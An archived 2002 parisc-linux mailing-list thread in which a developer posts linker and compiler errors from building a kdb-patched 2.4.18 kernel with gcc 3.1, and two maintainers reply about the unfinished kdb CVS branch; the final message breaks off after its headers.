/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x100):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x10c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x118):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x124):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x12c):
more undefined references to `kdb_state' follow
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L187':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x154):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x164):
undefined reference to `kdb_symbol_print'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x16c):
undefined reference to `kdb_id1'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x174):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x17c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1a0):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L188':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1a8):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L162':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1c8):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1cc):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1f0):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L189':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x1f8):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x224):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L190':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x230):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L191':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x23c):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_bp_trap':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x4):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x14):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L194':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x20):
undefined reference to `kdb_breakpoints'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x2c):
undefined reference to `kdb_breakpoints'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x70):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0x78):
undefined reference to `kdb_id1'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bp_trap+0xa0):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_handle_bp':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x20):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x28):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L209':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x3c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x40):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x48):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L207':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x70):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L212':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_handle_bp+0x78):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_printbpreg':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_printbpreg+0x10):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_printbp':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_printbp+0x10):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L216':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_printbp+0x54):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_parsebp':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_parsebp+0x88):
undefined reference to `kdbgetularg'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_parsebp+0x114):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_parsebp+0x1a0):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_parsebp+0x1a4):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L237':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_parsebp+0x1d8):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_installbp':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x0):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x2c):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L269':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x50):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L270':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x90):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L288':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x9c):
undefined reference to `kdb_getarea_size'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0xb8):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0xd4):
undefined reference to `kdb_putarea_size'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0xe4):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L289':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x120):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L290':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x148):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x16c):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L291':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_installbp+0x180):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_removebp':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x0):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x20):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L294':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x34):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L297':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x94):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L310':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x9c):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L299':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0xf8):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L311':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_removebp+0x110):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `get_serial_char':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.get_serial_char+0x84):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L116':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.get_serial_char+0x9c):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L143':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.get_kbd_char+0x148):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.get_kbd_char+0x1b0):
more undefined references to `kdb_printf' follow
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_setpc':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_setpc+0xc):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_setpc+0x18):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_setpc+0x20):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_main_loop':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_main_loop+0xc):
undefined reference to `kdb_main_loop'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L189':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_adjust_ip+0x18):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_adjust_ip+0x1c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_printaddress':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_printaddress+0x48):
undefined reference to `kdbnearsym'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_dis_getmem':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_dis_getmem+0x10):
undefined reference to `kdb_getarea_size'
make: *** [vmlinux] Error 1
Tue May  7 17:38:12 CEST 2002

And, excepted usual fpu warning, I do not see any additional warning explaining
this.

Any idea?

Thanks,
    Joel

Quoting joel.soete@freebel.net:

> Hi Carlos,
> 
> Well I well get your patch which I apply successfully against pa23.
> 
> On the other hand, I also reach to rebuild a toolchain with gcc-3.1
> (some
> difficulties with 3.2).
> 
> So to try to figure out what the problem is with kernel IP compile with
> gcc >
> 3.1, I try to compile kernel 2.4.18-pa23-kdb with gcc 3.1. But without
> any
> experience with kdb the operation failled with following message:
> 
> gcc -D__KERNEL__
> -I/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/include
> -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
> -fno-strict-aliasing
> -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
> -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
> -mschedule=7100   -DKBUILD_BASENAME=traps  -c -o traps.o traps.c
> traps.c:50:23: linux/kdb.h: No such file or directory
> traps.c: In function `die_if_kernel':
> traps.c:310: warning: implicit declaration of function `kdb'
> traps.c:310: `KDB_REASON_OOPS' undeclared (first use in this function)
> traps.c:310: (Each undeclared identifier is reported only once
> traps.c:310: for each function it appears in.)
> traps.c: In function `handle_break':
> traps.c:383: `KDB_BREAK_ENTER_INSN' undeclared (first use in this
> function)
> traps.c:384: `KDB_REASON_ENTER' undeclared (first use in this function)
> traps.c:387: `KDB_BREAK_BREAK_INSN' undeclared (first use in this
> function)
> traps.c:388: `KDB_REASON_BREAK' undeclared (first use in this function)
> traps.c: In function `handle_interruption':
> traps.c:657: `KDB_REASON_DEBUG' undeclared (first use in this function)
> /GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/include/asm/irq.h:
> At
> top level:
> traps.c:130: warning: `dump_stack' defined but not used
> make[1]: *** [traps.o] Error 1
> make[1]: Leaving directory
> `/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kernel'
> make: *** [_dir_arch/parisc/kernel] Error 2
> Mon May  6 20:52:40 CEST 2002
> 
> Hmm the patch put kdb.h in include/asm-parisc but all #include refer to
> linux/kdb.h?
> 
> There should be also some problem with my .config where I select 
> CONFIG_KDB=y
> CONFIG_KDB_MODULES=y
> # CONFIG_KDB_OFF is not set
> CONFIG_KALLSYMS=y
> 
> (the rest is obtain for a common make oldconfig for PA7000 processor
> type)
> 
> Thanks in advance for additionnal help,
>     Joel
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Tue, 7 May 2002 10:46:20 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020507174619.GO32033@tausq.org>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621282 7086 80.91.229.3 (22 Nov 2014 01:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:42 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 10:37:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 983AE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 10:37:37 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id jwfenaaa for parisc-linux@lists.parisc-linux.org; Tue, 7 May 2002 09:36:22 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0A304CD297; Tue,  7 May 2002 10:46:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14735

> in fact, I find that it is missing following files in include/linux:
> kdb.h; kallsyms.h; dis-asm.h; kdbprivate.h.

Paul is doing a merge from trunk to the kdb branch. I would suggest
trying the stuff in cvs (kdb_v21 branch) instead.

randolph



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Tue, 07 May 2002 10:41:29 -0600
Lines: 6
Approved: news@gmane.org
Message-ID: <E17581p-0007Dm-00@paul.bame>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>  <20020507174619.GO32033@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621282 7090 80.91.229.3 (22 Nov 2014 01:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:42 +0000 (UTC)
Cc: joel.soete@freebel.net, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 10:41:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B36F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 10:41:37 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 7AE88804D66; Tue,  7 May 2002 12:41:36 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 7EACB38040; Tue,  7 May 2002 10:41:33 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 531404475; Tue,  7 May 2002 10:41:29 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17581p-0007Dm-00; Tue, 07 May 2002 10:41:29 -0600
In-Reply-To: Your message of "Tue, 07 May 2002 10:46:20 PDT."
             <20020507174619.GO32033@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14736

> Paul is doing a merge from trunk to the kdb branch. I would suggest
> trying the stuff in cvs (kdb_v21 branch) instead.

The branch isn't ready yet...



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Tue, 07 May 2002 11:00:24 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <E1758K9-0000Kq-00@paul.bame>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be> <20020507174619.GO32033@tausq.org>  <E17581p-0007Dm-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621282 7091 80.91.229.3 (22 Nov 2014 01:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:42 +0000 (UTC)
To: Randolph Chung <tausq@debian.org>, joel.soete@freebel.net,
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 11:00:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33140482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 11:00:30 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id C120834E; Tue,  7 May 2002 13:00:29 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 22BA437E78; Tue,  7 May 2002 11:00:29 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 3144B45E1; Tue,  7 May 2002 11:00:25 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 1758K9-0000Kq-00; Tue, 07 May 2002 11:00:25 -0600
In-Reply-To: Your message of "Tue, 07 May 2002 10:41:29 MDT."
             <E17581p-0007Dm-00@paul.bame> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
